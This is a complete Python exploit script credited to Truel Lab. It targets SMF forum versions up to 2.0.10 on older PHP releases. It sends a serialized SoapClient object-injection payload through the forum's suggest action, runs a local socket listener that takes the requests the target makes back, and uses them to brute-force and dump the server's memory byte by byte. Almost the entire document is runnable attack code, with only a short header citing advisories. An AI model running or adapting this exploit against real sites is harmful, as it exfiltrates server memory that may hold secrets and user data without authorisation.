SMF (Simple Machine Forum) 2.0.10 - Remote Memory Exfiltration

#!/usr/bin/python
# -*- coding: iso-8859-15 -*-

#############################################################################
# Title:    	SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit
# Authors:  	Andrea Palazzo  
#					<andrea [dot] palazzo [at] truel [dot] it> 
#           	Filippo Roncari 
#					<filippo [dot] roncari [at] truel [dot] it>
#           	Truel Lab ~ http://lab.truel.it
# Requirements:	SMF <= 2.0.10
#				PHP <= 5.6.11 / 5.5.27 / 5.4.43
# Advisories:	TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt
#				TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt
#				TL-2015-SMF01 n/y/a
# Details:		http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/
# Demo: 		https://www.youtube.com/watch?v=dNRXTt7XQxs
############################################################################


import sys, requests, time, os, socket, thread, base64, string, urllib
from multiprocessing import Process

#Payload Config
bytes_num = 000 #num of bytes to dump
address = 000 #starting memory address

#Target Config
cookie = {'PHPSESSID' : '000'} #SMF session cookie
target_host = 'http://localhost/smf/index.php' #URL of target installation index.php
csrftoken = ''

#Local Server Config
host = "localhost"
port = 31337

#Memory dump variables 
dumped = ''
current_dump = ''
in_string = False
brute_index = 0
brute_list = list(string.ascii_letters + string.digits)
r_ok = 'HTTP/1.0 200 OK' + '\n'
r_re = 'HTTP/1.0 302 OK' + '\n'
r_body = '''Server: Truel-Server
Content-Type: text/xml
Connection: keep-alive
Content-Length: 395

<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">
 <env:Header>
  <n:alertcontrol xmlns:n="http://example.org/alertcontrol">
   <n:priority>1</n:priority>
   <n:expires>2001-06-22T14:00:00-05:00</n:expires>
  </n:alertcontrol>
 </env:Header>
 <env:Body>
  <m:alert xmlns:m="http://example.org/alert">
   <m:msg>Truel</m:msg>
  </m:alert>
 </env:Body>
</env:Envelope>'''


def serverStart():
	print "[+] Setting up local server on port " + str(port)
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	if not sock:
		print "[X] Fatal Error: Unable to create socket"
	sock.bind((host, port))
	sock.listen(1) 
	return sock

def getToken():
	global csrftoken
	print "[+] Trying to get a valid CSRF token"
	for n in range(3): #3 attempts
		r = requests.get(target_host, cookies=cookie, allow_redirects=False)
		r = r.text
		if(r.find("action=logout;")!=-1):
			break
	start = r.find("action=logout;")
	if (start !=-1):
		end = (r[start+14:]).find('">')
		csrftoken = r[start+14 : start+end+14]
		print "[+] Authentication done. Got token " + str(csrftoken)
		return True
	else:
		print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID."
		return False

def prepareForExploit():
	if not(getToken()): #get CSRF token
		os._exit(1)
	target = target_host + '?action=suggest&' + csrftoken + '&search_param=test' 
 	r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request
 	return

def forgePayload(current_try, address):
	location = "http://" + current_try
	payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"\x00Exception\x00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}'
	return payload

def sendPayload(payload,null):
 	target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens
 	try:
		r = requests.get(target, cookies=cookie, allow_redirects=False)
	except requests.exceptions.RequestException:    
		print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)"
		os._exit(1) 
	return 

def limitReached(dumped):
	if(len(dumped) >= bytes_num):
		return True
	else:
		return False

def printDumped(dumped):
	d = "    "
	cnt = 1
	print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host
	print "[+] ======================= Dumped Data ======================="
	for i in range(bytes_num):
		d = d + str(dumped[i])
		if (cnt % 48 == 0):
			print d 
			d = "    "
		if (cnt == bytes_num):
			print d
		cnt = cnt + 1

def getSoapRequest(sock):
	connection, sender = sock.accept()
	request = connection.recv(8192) 
	return (connection, request)

def sendSoapResponse(connection, content):
	connection.send(content)
	connection.close()
	return

def getDumpedFromHost(request):
	i = request.find("Host: ") + 6
	v = request[i:i+1]
	return v

def pushDumped(value, string):
	global dumped
	global current_dump
	global brute_index
	global address
	global in_string

	dumped = str(value) + str(dumped) 
	if(string):
		current_dump = str(value) + str(current_dump)
	else:
		current_dump = ""
	in_string = string
	address = address-1
	brute_index = 0
	print "[" + hex(address) + "] " + str(value)
	return

def bruteViaResponse(sock):
	global brute_index
	current_try = ""
	response_ok = r_ok + r_body

	for n in range(19):
		connection, request = getSoapRequest(sock)
		if not request:
			connection.close()
			return False
		if request.find("owned")!=-1:
			pushDumped(getDumpedFromHost(request), True)
			sendSoapResponse(connection,response_ok)
			return True
		else:
			if((brute_index+1) == len(brute_list)):
				sendSoapResponse(connection,response_ok)
				return False
			brute_index = brute_index + 1
		if not in_string:
			current_try = brute_list[brute_index]
		else:
			current_try = brute_list[brute_index] + str(current_dump)
		response_re = r_re + 'Location: http://' + str(current_try) + '\n' + r_body
		sendSoapResponse(connection,response_re)
	connection, request = getSoapRequest(sock)
	if request.find("owned")!=-1:
		pushDumped(getDumpedFromHost(request), True)
		sendSoapResponse(connection,response_ok)
		return True
	sendSoapResponse(connection,response_ok)
	return False

def bruteViaRequest(sock):
	global brute_index
	brute_index = 0
	current_try = ""

	while(True):	
		if(brute_index == len(brute_list)):
			pushDumped(".", False)
		if limitReached(dumped):
			printDumped(dumped)
			return 
		if not in_string:
			current_try = brute_list[brute_index]
		else:
			current_try = brute_list[brute_index] + str(current_dump)
		payload = forgePayload(current_try,address)
		thread.start_new_thread(sendPayload,(payload,""))
		if not bruteViaResponse(sock):
			brute_index = brute_index + 1
	return  

def runExploit():
	print "[+] Starting exploit"
	sock = serverStart()
	prepareForExploit()
	print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host)
	bruteViaRequest(sock)
	sock.close()
	print "[+] Bye ~ Truel Lab (http://lab.truel.it)"
	sys.exit(0)


runExploit()